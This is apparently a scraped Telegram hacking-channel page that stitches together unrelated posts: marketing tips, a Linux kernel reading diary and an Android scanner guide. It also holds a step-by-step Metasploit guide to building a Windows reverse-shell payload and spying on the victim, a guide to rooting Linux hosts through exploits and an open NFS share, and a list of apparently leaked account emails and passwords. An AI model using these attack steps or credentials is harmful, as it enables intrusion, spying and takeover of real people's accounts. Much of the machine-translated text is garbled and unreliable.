UNDERCODE COMMUNITY
2.68K subscribers
1.23K photos
31 videos
2.65K files
80.2K links
πŸ¦‘ Undercode Cyber World!
@UndercodeCommunity


1️⃣ World first platform which Collect & Analyzes every New hacking method.
+ AI Pratice
@Undercode_Testing

2️⃣ Cyber & Tech NEWS:
@Undercode_News

3️⃣ CVE @Daily_CVE

✨ Web & Services:
β†’ Undercode.help
Download Telegram
Explore the market in affordable ways. Publish the results in white paper format - this is a small instruction book to solve a specific problem.

15) Publish different content

Instructions, lists, reviews, entertainment posts, FAQs, interviews, presentations, news, cases, collections of photos and videos, ratings, comparisons, podcasts. The more diverse, the better.

16) Learn competitors

See what content your niche leaders post. Make it better, more interesting than theirs. By the way, during such studies, original, worthwhile ideas often come to mind.

17) Expand the theme of the blog

For example, if you have a blog about plastic windows, write a few articles about warming slopes, choosing blinds, curtains, curtains or tell interesting life hacks about using a window sill. Just don't make additional themes dominant. Stick to your main blog profile.

18) Announce interesting publications

Find reputable sources in your niche and talk about the most interesting publications on your blog. Good news and popular posts on social networks stimulate traffic activity.

19) Use Google Alerts

Subscribe to inquiries relevant to your market segment. New publications with the specified key phrases will come automatically.

20) Run the forum

This is an effective way to lower your bounce rate and grow a community from the target audience relevant to your product or service.

21) Use guest posting

Just forget the β€œlinks for links” tactic. Your goal is to increase your reach. Otherwise, the sanctions of search algorithms are not far.

22) Answer the questions

Preferably in the services Mail.ru or "Questions and Answers" from Google. Be active if the question is about your topic. Help solve the problem and do it for free.

23) Comment

Blogs and forums relevant to the topic of your product or service are desirable. It is important to do this under the real name and photo (or logo).

24) Social aggregators

Try using Categoryoria or Flipboard. Save a lot of time searching for a news feed and increase the visual appeal of your content.

25) Collect reviews

Yes, customers rarely give out letters of thanks themselves and record video reviews even less often. But for a small free service or discount, almost every customer will reconsider their views on this issue.

Increase website traffic through social networks

26) Be everywhere

Official pages in all popular social media are a must have for any business or self-employed person who provides online services.

27) Arm yourself with photo content

Instagram and Pinterest will help increase sales of any visual goods from mobile phones to gardening equipment.

28) Business social networks

Stumbleupon and LinkedIn are the most popular, though only so far abroad. But each of them is capable of firing at RuNet at any time. Remember, the explosion of Instagram popularity didn’t reach our edges right away.

29) Full announcements

The material is published on your site. In the social network, you write a small introductory text, a seed, attach a photo, leave a link. And then a matter of technology.

30) Use the fruits of someone else's work

Usually no one opposes quotes or statistics with reference to the author or organization that conducted the study. This is a great way to add value to your content and increase your interest in publishing.

31) The best thing is to fix

Do you have a post that broke records on likes and reposts? Fasten it at the very top of the tape. This is a proven way to expand your reach.

32) CTA button on Facebook

The call to action button Call To Action is available absolutely free of charge and no ads are needed for this.


written by UndercOde
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚
This media is not supported in your browser
VIEW IN TELEGRAM
This media is not supported in your browser
VIEW IN TELEGRAM
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘Quick Start Guide: How to Hack Windows with Kali Linux:
Tested Example by UndercOde :
t.me/undercOdeTesting


1) Load creation

Payload is a program that looks like a virus or trojan that runs on a remote machine for the purpose of hacking. To create a payload, use the commands below, which will crack windows with Kali Linux .


root @ kali: / # msfvenom -p windows / meterpreter / reverse_tcp LHOST = 192.168.189.128 LPORT = 4444 --format = exe -o /root/program.exe
No platform was selected, choosing Msf :: Module :: Platform :: Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of exe file: 73802 bytes
Saved as: /root/program.exe
root @ kali: / # ls -la /root/program.exe
-rw-r - r-- 1 root root 73802 Jan 26 00:46 /root/program.exe

2) Run the mfsconsole command, which will launch the msf request.

root @ kali: # msfconsole

Β»...


Taking notes in notepad? Have Metasploit Pro track & report
your progress and findings - learn more on http://rapid7.com/metasploit

= [metasploit v4.12.22-dev]
+ - - = [1577 exploits - 906 auxiliary - 272 post]
+ - - = [455 payloads - 39 encoders - 8 nops]
+ - - = [Free Metasploit Pro trial: http://r-7.co/trymsp]

msf>


3) For use, we used the following details:

Port 4444: you can use of your choice
LHOST IP: IP 192.168.189.128 with Kali Linux. You can find out the IP that your machine uses using the Kali command.
root@kali:/# ip r l
192.168.189.0/24 dev eth0 proto kernel scope link src 192.168.189.128 metric 100
root@kali:/#


Now give the following command in the msf line β€œ use exploit / multi / handler ”

msf> use exploit / multi / handler
msf exploit (handler)>


5) Then give the command β€œset payload windows / meterpreter / reverse_tcp” in the following line:

msf exploit (handler)> set payload windows / meterpreter / reverse_tcp
payload => windows / meterpreter / reverse_tcp


6) Now set the local IP and port using the lhost and lport commands, as shown below:

msf exploit (handler)> set lhost 192.168.189.128
lhost => 192.168.189.128
msf exploit (handler)> set lport 4444
lport => 4444


and finally use the command.

msf exploit (handler)> exploit

[*] Started reverse TCP handler on 192.168.189.128-00-00444
[*] Starting the payload handler ...

7) Now you need to execute the β€œprogram.exe” command on the Windows machine, as soon as it runs on the target machine, you can set the meterpreter session. Just type SysInfo to get the details of a hacked Windows machine.

msf exploit (handler)> exploit

[*] Started reverse TCP handler on 192.168.189.128-00-00444
[*] Starting the payload handler ...
[*] Sending stage (957999 bytes) to 192.168.189.1
[*] Meterpreter session 1 opened (192.168.189.128-00-00444 -> 192.168.189.1 UP3091) at 2017-01-26 00:51:31 +0000

meterpreter> sysinfo
Computer: MANN-PC
OS: Windows 7 (Build 7601, Service Pack 1).
Architecture: x64 (Current Process is WOW64)
System Language: en_IN
Domain: WORKGROUP
Logged On Users: 2
Meterpreter: x86 / win32


8) After you successfully receive the details, you can do more to use or get more detailed information using the β€œ help β€œ command , which will show all the options with which you can hack the system, for example, you can execute the webcam snap command β€œ webcam_snap ”is just like you can use many of the available options

E N J O Y BY U N D E R C O D E
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
This media is not supported in your browser
VIEW IN TELEGRAM
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘hACK a LINUX fULL gUIDE BY UndercOde :
fb.com/UndercOdeTesting


The most reliable. Open up on the ports
and check the version of daemons (UNIX) or servers (Win NT).
If it is of type IMAP, sendmail, Apache, QPOP then this is UNIX. If
IIS, Microsoft FTP, etc. then this is Win NT.

1) So the first thing is
done. OS we have. The second thing you have
to do is scan all the ports. This can also be
done with the Shadow Scan and nmap programs.
Pay particular attention to sendmail, qpop, imap, rlogin, ssh, mount, named, amd, talk.

2) Now run to the dump of exploits :). Exploit is a
utility that implements undocumented or closed functions in a program.
You can run away to rootshell , technotronic , etc.Also , I highly recommend visiting BUGTRAQ . Look for
exploits for your version. For example, if
any sendmail,
9.8.9./9.8.9 is installed on the host,
then the exploit for sendmail 3.4.3./3.4.3 is not
will work :)). The versions should match exactly
(this is for * nix, but there are also exploits for NT, although NT
has more interesting things like null session, SMBShare,
NETBios, but we'll talk about this another time)

2) Usually exploits
are written in C, so we use the
gcc command (compiler). For example, you downloaded the
sux.c. exploit . The easiest compilation option:

# gcc -o sux sux.c

3) Now run
it with the command:

# ./sux victim_name


4) Additional options in the team may also be required.
If you succeed, you will get a shell and your UID and GID will
be 0 (root). Here you are superuser :). But
exploits are not all. NFS can still help

5) Look with showmount command the shared resources of the
attacked host. For instance:

# showmount -e
attacked_host_name

6) You see, for example:

/ usr
/ var (everyone)
/ home (everyone)

7) Now it's time to mount home ((everyone) says that the directory is accessible to anyone via NFS). Mount:

# mount
attacked_host_name: / home / mnt

Where / mnt is the name of your
folder on your computer for installation. Now you can
create a
.rhosts file with the contents of '+ +' in the folder of a user . All you can easily

8) log in to the network using rlogin. And this is just an example.
In principle, you can hack or tamper with a system
from almost any folder. You just need
to brainwash it.

written by UndercOde
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
This media is not supported in your browser
VIEW IN TELEGRAM
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ALL Ways to hack sites 2019-2020
> Hacking sites becomes possible due to vulnerabilities in the site code, vulnerabilities and errors in the server software settings, as well as due to incorrect publication of the site on the server.
fb.com/UndercOdeTesting

πŸ¦‘VULNERABILITY OF THE SITE CODE

1) Injection:
The most formidable and common way of hacking a site are injections.
The possibility of successful exploitation of injections on the site in 99% of cases leads to cracking.

2) RCE - Remote code execution . Remote code execution on the server.

3)PHP Injection . Execution of arbitrary PHP code.

4) SQL injection . Embedding arbitrary code in an SQL query.

5) XP ath - injection . Embed arbitrary code in an XPath request.

πŸ¦‘ Inclusions:

1) No less formidable and common way of hacking a site is inclusion.
The possibility of the successful operation of any inclusion on the site in 100% of cases will lead to its hacking.

> RFI Remote file include . Inclusion of a remote file.

> LFI - Local file include . Connect, execute, or read local files on the server.

> PHP include . Including a remote PHP file.

> Client attacks. Attacks on site administrators and visitors
A very popular way to hack a site is to attack the client in the victim’s browser

> One of the most practiced methods of hacking a site.
Due to the fact that more than 75% of all sites in the world are subject to client attacks (for example, XSS).

1) XSS attack . Cross Site SсrΡ–rting - cross-site scripting.

2) CSRF attack . Cross Site Request Forgery - fake cross-site requests.

3) Phishing attack . Fishing - Phishing attack - fake site pages.

4) Incorrect publication of the site on the server. Publication errors.

5) Incorrect publication of the site on the server is a blatant mistake of the developers and administrators of the resource, often leading to its hacking.

6) Such errors that directly affect the security of the site are:

> Open directories with system files.
> Open access and the ability to execute system files interacting with a

> file system or databases.

>System archives, site backups that are in the public domain.

> Public dump database files.

> Open access to .svn or .git index files.

πŸ¦‘Site administration errors:

1) Often, site administrators set short and primitive passwords for admins, like 123qwerty.

2) Such passwords are simply selected by attackers using special programs.

3) Negligence of site administrators with access to FTP and the administrative panel often leads to hacking of the site.

4) A Trojan sent by mail, supposedly forgotten by someone, but in fact, a virus-infected flash drive on a table by the admin site that was specially left by an attacker can lead to hacking.

πŸ¦‘VULNERABILITY OF THE SERVER

1) Vulnerabilities in server software pose a huge danger to the sites hosted on them.

2) Outdated versions of server operating systems, as well as Nginx, Apache, PHP, MySQL, FTP and other software pose a threat to the site’s security, as in most cases they are vulnerable to hacking and attacks.
In addition, there are special software solutions, exploits , through which hacks and attacks on the server occur.

I3) ncorrect server configuration can also open a "hole" or a loophole through which an attacker can hack.

Written bY UndercOde
πŸ¦‘ don t clone our tutorials Without PermissionsπŸ¦‘

▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
This media is not supported in your browser
VIEW IN TELEGRAM
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ Memrise Premium Accounts VERIFIED !
t.me/UndercodeTesting


eric.wupub@gmail.com:Wxf690609 | Username: = XXXFW | Premium: = true


niclas.bornschein@gmail.com:amelie01 | Username: = RhymZ | Premium: = true


kelley.mohr@hotmail.com:December27 | Username: = kelleymohr | Premium: = true

hajduzoli@gmail.com:19 (hajduzoli@gmail.com:19)Balint96 | : Username: = hajduzoli | Premium: = true


harunaniikura@hotmail.fr:Lokinroll10 | Username: = HarunaMizeNiikura65 | Premium: = true


michu2233@gmail.com:reload123 | Username: = Offeris | Premium: = true


mcgdamour@aol.com:BOUBY1ER Username: = LABELETTE1ERE | Premium: = true


csjacobson02@me.com:ShyAnne22 | Username: = csjacobson02 | Premium: = true


rudy2be@gmail.com:4 (rudy2be@gmail.com:4)fnmzx7mb | : Username: = Rudy_EscarriaJr92 | Premium: = true

▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
This media is not supported in your browser
VIEW IN TELEGRAM
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ AndroBugs Framework is an efficient Android vulnerability scanner that helps developers or hackers find potential security vulnerabilities in Android applications. No need to install on Windows.
fb.com/UndercodeTesting


πŸ¦‘Features:

> Find security vulnerabilities in an Android app

> Check if the code is missing best practices

> Check dangerous shell commands (e.g. β€œsu”)

> Collect Information from millions of apps

> Check the app’s security protection (marked as <Hacker>, designed for app repackaging hacking)

πŸ¦‘π•€β„•π•Šπ•‹π”Έπ•ƒπ•ƒπ•€π•Šπ”Έπ•‹π•€π•†β„• & β„π•Œβ„• :

1) git clone https://github.com/AndroBugs/AndroBugs_Framework

2) cd AndroBugs_Framework

3) python androbugs.py -f [APK file]
####To check the usage:####

python androbugs.py -h

πŸ¦‘Easy to use for Android developers or hackers on Microsoft Windows: (a) No need to install Python 2.7 (b) No need to install any 3rd-party library (c) No need to install AndroBugs Framework

>mkdir C:\AndroBugs_Framework

> cd C:\AndroBugs_Framework

> Unzip the latest Windows version of AndroBugs Framework from Windows releases

>Go to Computer->System Properties->Advanced->Environment Variables. Add "C:\AndroBugs_Framework" to the "Path" variable
androbugs.exe -h
androbugs.exe -f [APK file]

πŸ¦‘ Massive Analysis Tool Steup Steps and Usage for Windows

> Complete the Steup Steps and Usage for Windows first
Install the Windows version of MongoDB (https://www.mongodb.org/downloads)

> Install PyMongo library
Config your own MongoDB settings: C:\AndroBugs_Framework\androbugs-db.cfg

> Choose your preferred MongoDB management tool (http://mongodb-tools.com/)

> AndroBugs_MassiveAnalysis.exe -h
Example: AndroBugs_MassiveAnalysis.exe -b 20151112 -t BlackHat -d .\All_Your_Apps\ -o .\Massive_Analysis_Reports
AndroBugs_ReportByVectorKey.exe -h
Example: AndroBugs_ReportByVectorKey.exe -v WEBVIEW_RCE -l Critical -b 20151112 -t BlackHat

Β» USE FOR LEARN ONLY !!

▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
This media is not supported in your browser
VIEW IN TELEGRAM
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘Core Technology-Reading Nuclear DiaryReading nuclear diary
full by undercode
t.me/undercodeTesting

> face of nearly 50 m of source code, confusion is inevitable, so I decided to grasp the big picture first, and then cut in some specific points. In this way, the Linux startup process is very important, so I use The dmesg command

looks at the message that is printed when Linux starts. (I think the source file should be in /usr/src/linux/init/main.c) The kernel startup finally reaches start_kernel (in /init/main.c), which is Said that the startup process is running from head.S (arch / i386 / boot /) to main.c (start_kernel). Its role is to complete the settings after the boot and the initialization of the kernel. Wait for the user's input, and call fork to spawn a child process. In order to meet the design requirements of the interactive operating system.

Part 1: Inside Core initialization and startup.

Start the system. When the PC is powered on and starts, the 80X86 processor (CPU) self-tests in real mode and starts executing the code at the physical address 0xFFFF0, which is the starting address of the ROM-BIOS. The BIOS of the PC performs a system self-test and initializes the interrupt vector table to the physical address 0x0. Then load the first sector of the boot device to address 0x7C00 and execute the instructions here. It has nothing to do with linux here, the hardware settings of x86 series are like this.

The Linux kernel itself cannot be bootstrapped, so the role of lilo and loadlin is to load the system kernel. For the principle of lilo, please refer to the readme of lilo. The process from power on to kernel load is: power on-> execute BIOS-> load The first sector-> lilo-> loading the kernel

The initial part of the Linux kernel code is written in assembly language (the file is boot / bootsect.s). (My assembly level is limited, I will not look at it for now), it first moves its own part of the code to the absolute address 0x90000, loads the following 2K code from the boot device to the address 0x90200, and the rest of the kernel is loaded to the address 0x10000. "Loading ..." is displayed when the system is loaded. Then, program control is transferred to another real-mode assembler (boot / Setup.S). Next, this program moves the entire system from address 0x10000 to address 0x1000 and enters protection mode. Program control is transferred to the rest of the system, which is address 0x1000.

The next step is the decompression process of the system kernel. This part of the code is at address 0x1000 (file /Boot/head.S). The program initializes the register and then executes decompress_kernel (). This function is derived from zBoot / inflate.c, zBoot / unzip.c and zBoot / misc.c three files

Loading .... [bootsect.S]

uncompress ..... [decompress_kernel ()]

main.c ---> start_kernel () Start.

Start printk (banner) ;

Linux version 2.2.6 (root @ lance) (gcc version 2.7.2.3) (check the version number of GCC, if the version number of gcc is not enough in /init/main.c, it is not allowed to compile the kernel)



calls init_time () to print out the following:

Detected 199908264 Hz processor.

Then run console_init ()-> drivers / char / tty_io.c * /

Console: colour VGA + 80x25 to

run one Loop, measure MIPS – it is said to use a certain machine instruction cycle to achieve real-time delay.

Calibrating delay loop ... 199.48 BogoMIPS

initial memory / * init_mem * /

Memory: 63396k / 65536k available (848k kernel code, 408k reserved , 856k data

, 28k

/ dquote_init () /

VFS: Diskquotas version dquot_6.4.0 initialized to check

the type of CPU (after 2.2.14 I heard that support for multiple CPUs has been added, I may have to look at it in the future , if I can find a bug of intel then ……)

CPU: Intel Pentium Pro stepping 09

initial or processor and coprocessor, for older processors, Linux will use software to simulate the coprocessor?

Checking 386/387 coupling ... OK, FPU using exception 16 error reporting.

Check the legitimacy of governance

Checking 'HLT' Instruction ... the OK.
The POSIX the Conformance Testing by UNIFIX

After calling linux_thread (init, .., .., ) (arch / i386 / kernel / process.c )

to create a run init process.

entered the second phase of user-mode (user_mode) End of start_kerne finally into cpu_idle (arch / i386 / kernel / process.c)

the second part of the device Initialization

Initialize the call to the device. Init () ---> do_basic_init ()-+

pci_init () Initialize the pci device (there is such a ifdef PCI in the main.c file ... need to take a look) Printed below Result:

PCI: PCI BIOS revision 2.10 entry at 0xfd8d1

PCI: Using configuration type 1

PCI: Probing PCI hardware

initialization of Socket, socket_init () (here may be the linux network secret, I will pay attention to it later) -Linux NET4. 0 for Linux 2.2

Based upon Swansea University Computer Society NET3.039

NET4: Unix domain sockets 1.0 for Linux NET4.0.

NET4: Linux TCP / IP 1.0 for NET4.0

IP Protocols: ICMP, UDP, TCP

Starting kswapd v 1.5 kswapd_setup ()

calls device_setup ( )

Detected PS / 2 Mouse Port.

Initialization of sound card

Sound initialization started

Sound initialization complete

initialization floppy drive

Floppy drive (s): fd0 is 1.44M

FDC 0 is a National Semiconductor PC87306

SCSI device initialization

(scsi0) <Adaptec AIC-7880 Ultra SCSI host adapter> found at PCI 13/0

(scsi0) Wide Channel, SCSI ID = 7, 16/255 SCBs

(scsi0) Downloading sequencer code ... 419 instructions downloaded

scsi0: Adaptec AHA274x / 284x / 294x (EISA / VLB / PCI-Fast SCSI) 5.1.10 / 3.2.4

<Adaptec AIC-7880 Ultra SCSI host adapter>

scsi: 1 host.

Vendor: SEAGATE Model: ST32155W Rev: 0596

ype : Direct-Access ANSI SCSI revision: 02

Detected scsi disk sda at scsi0, channel 0, id 0, lun 0

Vendor: SEAGATE Model: ST32155W Rev: 0596

Type: Direct-Access ANSI SCSI revision: 02

Detected scsi disk sdb at scsi0, channel 0, id 1, lun 0

scsi: detected 2 SCSI disks total.

(scsi0: 0: 0: 0) Synchronous at 40.0 Mbyte / sec, offset 8.

SCSI device sda: hdwr sector = 512 bytes. Sectors = 4197405 [2049 MB] [2.0 GB] (scsi0: 0: 1: 0) Synchronous at 40.0 Mbyte / sec, offset 8.

SCSI device sdb: hdwr sector = 512 bytes. Sectors = 4197405 [2049 MB] [2.0 GB] Partition check: sda: sda1 |

sdb: sdb1 sdb2 <sdb5 sdb6> |

install file system filesystem_setup ()

install device driver mount_root ()

VFS: Mounted root (ext2 filesystem) readonly.

Freeing unused kernel memory: 28k freed

Adding Swap: 66540k swap-space (priority -1)

Soundblaster audio driver Copyright (C) by Hannu Savolainen 1993-1996

SB 3.01 detected OK (220)

< ESS ES1688 AudioDrive (rev 11) (3.01)> at 0x220 irq 5 dma 1

YM3812 and OPL-3 driver Copyright (C) by Hannu Savolainen, Rob Hooft 1993-1

996 <Yamaha OPL3> at 0x388

NET4: AppleTalk 0.18 for Linux NET4 .0

eth0: Intel EtherExpress Pro 10/100 at 0xf800, 00: A0: C9: 49: 2F: FF, IRQ 9.

Board assembly 645520-034, Physical connectors present: RJ45

Primary interface chip DP83840 PHY # 1.

DP83840 specific setup, setting register 23 to 8462.

General self-test: passed.

Serial sub-system self-test: passed.

Internal registers self-test: passed.

ROM checksum self-test: passed (0x49caa8d6).

Receiver lock-up workaround activated.

NET4: AppleTalk 0.18 for Linux NET4.0

end do_basic_setup ()

Open ( "/ dev / Console", O_RDWR, 0)

begin / sbin / init (execv (... ))

kernel this boot is completed ...

in this way the system The files needed at startup are clear at a glance. To read the source code in this area, you can probably do this:

Boot / head.S

decompress_kernel (), and then read the corresponding function according to a function block.

In fact, for the entire kernel, you should also interpret the makefile. To be honest, I am very fond of writing makefiles in programming. However, reading the kernel, she is working very hard. Difficult to carry out. Fortunately, with souce insight, we can easily find the definition of functions and constants, which is much more convenient.
Open main.c (in fact, I solved 2.2.14 under windows). I found that there are n functions and There are only a few init functions in the definition of 2n constants. Many other external functions are also defined. There is no main function here-I now doubt whether the linux program is the same as vc and I do n’t know where to start: __). Immediately understood, the whole kernel incident is in one. It also includes many modules such as storage management, processor management, memory management, etc. She will not start after she has no time to do it.

Okay, I ca n’t eat fat in one bite. I still first I read it from the start. But I started to wonder if I want to add Chinese wishes. The code itself is a master, and they should know what the best comment is. Do you read the code? ? E even this can not see the text

read nuclear diary (b)
This article comes from: http: //os.silversand.net Author: sunmoon (2001-08-31 12:00:00)
these days to see what the older generation There is a book guide, without my tongue, and a brief introduction to

understand the startup process of Linux. For the analysis of the entire system. Not even a beginning. What I did is to know that the system startup is a sequence of functions. As suggested by a friend's letter, if you read hard in this order, it is really self-mutilation. Fortunately, sunmoon has a certain self-knowledge. If you go on like this, you can't understand much. Then I can't stick to it, so my principle Yes ?: Never prepare yourself without sufficient preparation.

Interested experts around you suggest that you should start with the application, write some level programs related to the system, and track the program with all your heart. Understand the architecture and calling system of the entire system. Then analyze the source.

At the same time, sunmoon also knows, An operating system is a collection of all relevant software theories. Sunmoon is not a graduate of the computer department, and is very unfamiliar with many basic courses. So I have to find <<< assembly language >> << operating system principles >> << computer architecture> > << Principle of Compilation? >> << Design and Implementation of Operating System >> and other classic books are put on the desk. Of course, the newly published << Linux Operating System Kernel Analysis >> is very good.

Yesterday After these late, I started to analyze the architecture of

linux : the kernel of linux does not use the now popular (theoretically more advanced) as the kernel structure. It uses an integrated body composed of many processes. Each process Can call each other. It seems to be messy. This has something to do with its development process. But I personally feel that linux as a whole is a structured program. (Never opp). Different modules complete different functions And then through the whole scheduling, and integrated into a whole.

Separation of the five sub-systems << linux operating system kernel analysis >> in: process scheduling, memory management, virtual file system, interprocess communication, and network interfaces.

Specific The function, interface, subsystem structure, and data structure of each subsystem can be read in detail from this book. Strive to have a certainty of the overall.

Is it clearly in the nearly 50 trillion source of Linux. That In part, what functions are implemented so that it will not be confusing to read in the future.

If I have another two years, I will use pseudocode to simulate the linux functions. Then analyze it from the perspective of writing, which is what the scholars use for me. It ’s a great way. Unfortunately, due to some unspeakable secrets, I have arranged for the past two years,



This article comes from: http: //os.silversand.net Author: sunmoon (2001-08-31 15:00:01)
in linux each process task_struct data structure is defined by task_struct is what we usually refer to the PCB..

She is the only and most effective means of controlling the process.

When we call fork (), the system will generate a task_struct structure for us. Then inherit some data from the parent process
and insert the new process into the process tree In the process to be managed. So understanding the structure of task_struct is the key to understanding task

scheduling (task and process are the same concept in Linux). Before analyzing the definition of task_struct,

let ’s push it in accordance with our theory Structure.

1, Process status, will record the process is waiting, running, or deadlock

2, scheduling information, which scheduling function scheduling, how to schedule, etc.

3, the communication status of the process

4, because to insert the process tree, there must be a contact between the father and son The pointer of the brother, of course, is task_struct type

5, time information, such as calculating the execution time, so that the CPU allocates

6, the label, and decides to improve the process attribution

7, and can read and write some open documents. File information

8, process context and kernel context

9, processor context

10, memory information

Because every PCB is like this, only these structures can meet all the requirements of a process.

Open /include/linux/sched.h and find task_struct Definition

struct task_struct {

/ * these are hardcoded-don't touch * /

Here are some hardware settings that were originally transparent to the program. The state states whether the process can be executed,

or can be interrupted, etc. Flage is the process number, in It is given when calling fork (), addr_limit is to distinguish the location of the kernel process

and the ordinary process in the memory

volatile long state; / * -1 unrunnable, 0 runnable,> 0 stopped * /

unsigned long flags; / * per process flags, defined below * /

int sigpending;

mm_segment_t addr_limit; / * thread address space:

0-0xBFFFFFFF for user-thead

0-0xFFFFFFFF for kernel-thread

* /

struct exec_domain * exec_domain;

long need_resched;

γ€€

/ * various fields * /

count is the counter priority Is the priority

long counter;

long priority;

cycles_t avg_slice;

/ * SMP and runqueue state * /

Variables defined for multiprocessor.

Int has_cpu;

int processor;

int last_processor;

int lock_depth;

/ * Lock depth. We can context switch in and out of holding a syscall kernel lock ... * /

In order to sort in the process tree, the defined father and son, sibling pointer

struct task_struct * next_task, * prev_task;

struct tas74k_struct * next_run, * prev_run;

γ€€

/ * task state * /

defines the state in which the task can run, and the signal

struct linux_binfmt * binfmt;

int exit_code, exit_signal;

int pdeath_signal; / * The signal sent when the parent dies * /

/ * Define the processable user number, user group and process group * /

unsigned long personality;

int dumpable: 1;

int did_exec: 1;

pid_t pid;

pid_t pgrp;

pid_t tty_old_pgrp;

pid_t session;

/ * boolean value for session group leader * /

is the header file of the process group

int leader;

/ *

* pointers to (original) parent process, youngest child, younger sibling,

* older sibling, respectively. ( p-> father can be replaced with

* p-> p_pptr-> pid)

* /

Some pointers of the parent and child processes

struct task_struct * p_opptr, * p_pptr, * p_cptr, * p_ysptr, * p_osptr;

γ€€

/ * PID hash table linkage. * /

Some hash tables used in scheduling

struct task_struct * pidhash_next;

struct task_struct pidhash_pprev;

γ€€

/ * Pointer to task [] array linkage. * /

Struct task_struct
tarray_ptr;

γ€€

struct wait_queue * wait_chldexit; / * for wait4 () wait queue * /

struct semaphore * vfork_sem; / * for vfork () * /

unsigned long policy, rt_priority;

unsigned long it_real_value, it_prof_value, it_virt_value;

the nature of the processBecause the scheduling algorithm of the real-time process and the ordinary process are different, there should be variables to distinguish the

following is the process Some time information

unsigned long it_real_incr, it_prof_incr, it_virt_incr;

struct timer_list real_timer;

struct tms times;

unsigned long start_time;

long per_cpu_utime [NR_CPUS], per_cpu_stime [NR_CPUS]; defines the size of the time slice
/ * mm fault and swap info: this can arguably be seen as either mm-specific or thread-specific * /

memory information

unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap;

int swappable: 1;

/ * process credentials * /

uid_t uid, euid, suid, fsuid;

gid_t gid, egid, sgid, fsgid;

int

ngroups ; gid_t groups [NGROUPS];

kernel_cap_t cap_effective, cap_inheritable, cap_permitted;

struct user_struct * user; the

following English comments are clear

/ * limits * /

struct rlimit rlim [RLIM_NLIMITS];

unsigned short used_math ;

char comm [16];

/ * file system info * /

int link_count;

struct tty_struct * tty; / * NULL if no tty * /

/ * ipc stuff * /

γ€€

struct sem_undo * semundo;

struct sem_queue * semsleeping;

/ * tss for this task * /

struct thread_struct tss;

/ * filesystem information * /

struct fs_struct * fs;

/ * open file information * /

struct files_struct * files;

/ * memory management info * /

struct mm_struct * mm;

γ€€

/ * signal handlers * /

spinlock_t sigmask_lock; / * Protects signal and blocked * /

struct signal_struct * sig;

sigset_t signal, blocked;

struct signal_queue * sigqueue, sigqueue_tail;

unsigned long sas_ss_sp;

size_t sas_ss_size;

};

After analyzing this structure, there are still many problems to think about, maybe it ca n’t be read but the framework needs to be done well. The questions that need to be addressed are the following

1 , Such as the maximum number of processes, the maximum number of CPUs supported, etc.

2. When calling fork (), will the system allocate a piece of memory?

Malloc (1, sizeof (struct task_struck))

copy some variables, or kimono The process shares a part of the memory. How to implement the malloc function (in the part of memory management, but I do n’t think I ca n’t think of it here)

3. For threads, how to implement it?

4,

There are several situations in the scheduling strategy function schedule () , Time slice rotation, preemption, priority preemption, multi-level feedback system. In addition to time slice rotation, the process tree must be traversed, (for real-time processes

(The fifo mechanism is not used.) How does Linux ensure high efficiency? If you modify the maximum number of lines, will the efficiency be reduced by

5, the pipeline used for process communication, and the signal structure to

be continued ...

Read the nuclear diary (4)
This article comes from : http: //os.silversand.net author: sunmoon (2001-09-01 07:05:00)
these days not feeling well, slow progress sometimes suddenly found a gap in the code's hard to read, stop. Think about it for a while, the gain will be even greater. Especially for this very large system. Grasping the whole meaning is particularly important. With the dismantling of the overall Linux, I do n’t want to start to be so vague about the whole system. . It seems that I have passed the extreme point. But I should be prepared, because once I interpret the whole details, I will definitely have the same experience.

The reason why the entire Linux kernel is so difficult is that it is difficult to understand Sex. For people like us who rarely write more than 10,000 lines of programs, it is like a huge meat ball. Let you not know how to mouth. But once bite. It is very fragrant. After all, reading is so good the code is a pleasure.

I personally think that the linux kernel in difficult Several points: 1. The system is huge, too many variables, structures, and typedefs are not easy to find. 2. As an operating system, its function is dynamic when it is called, and you ca n’t read a lot of makefiles. You do n’t know this at all. How is the 50 M thing organized? Moreover, you can never use debug like a tracking program. 3. The huge data structure may be that relatively simple operations become difficult to read.

Therefore, in the initial stage of reading the core .We should be good at imagination and good at walking through the parts that are not easy to understand in the way of pseudocode. When we have a good grasp of the overall situation and disassemble the entire structure clearly, it is n
ot late to read. Moreover, although the core itself The calculations and structures involved in it are essentially the same as those in the textbooks. (Unfortunately I am not a graduate of the computer department). It is just a little more content.

For example, the process scheduling part, to put it bluntly, is that when fork () is called, a pointer of type task_strut is generated, which contains all the information used for process scheduling. Then insert this pointer into the queue, and then cpu takes pointers from the general team class and assigns them to time slices.

And how to insert this pointer? To put it plainly is to see its weight, weight calculation method, there are different algorithms (real-time process, kernel process , Ordinary process). Okay, so we think about << in the data structure >> about the operation of the queue, insert, delete, insert to the head of the queue, put it at the end of the queue. Think again, how these operations apply to the operating system Combined together. For example; a good team process is running, suddenly, due to a hardware interrupt. A process is generated, it must be processed immediately. The system should insert it into the head of the team.

Ok. You can read /usr./src/ linux / kenrel / sched.c, don't go through so many global variables, and now go over the data structure, as in the following code:
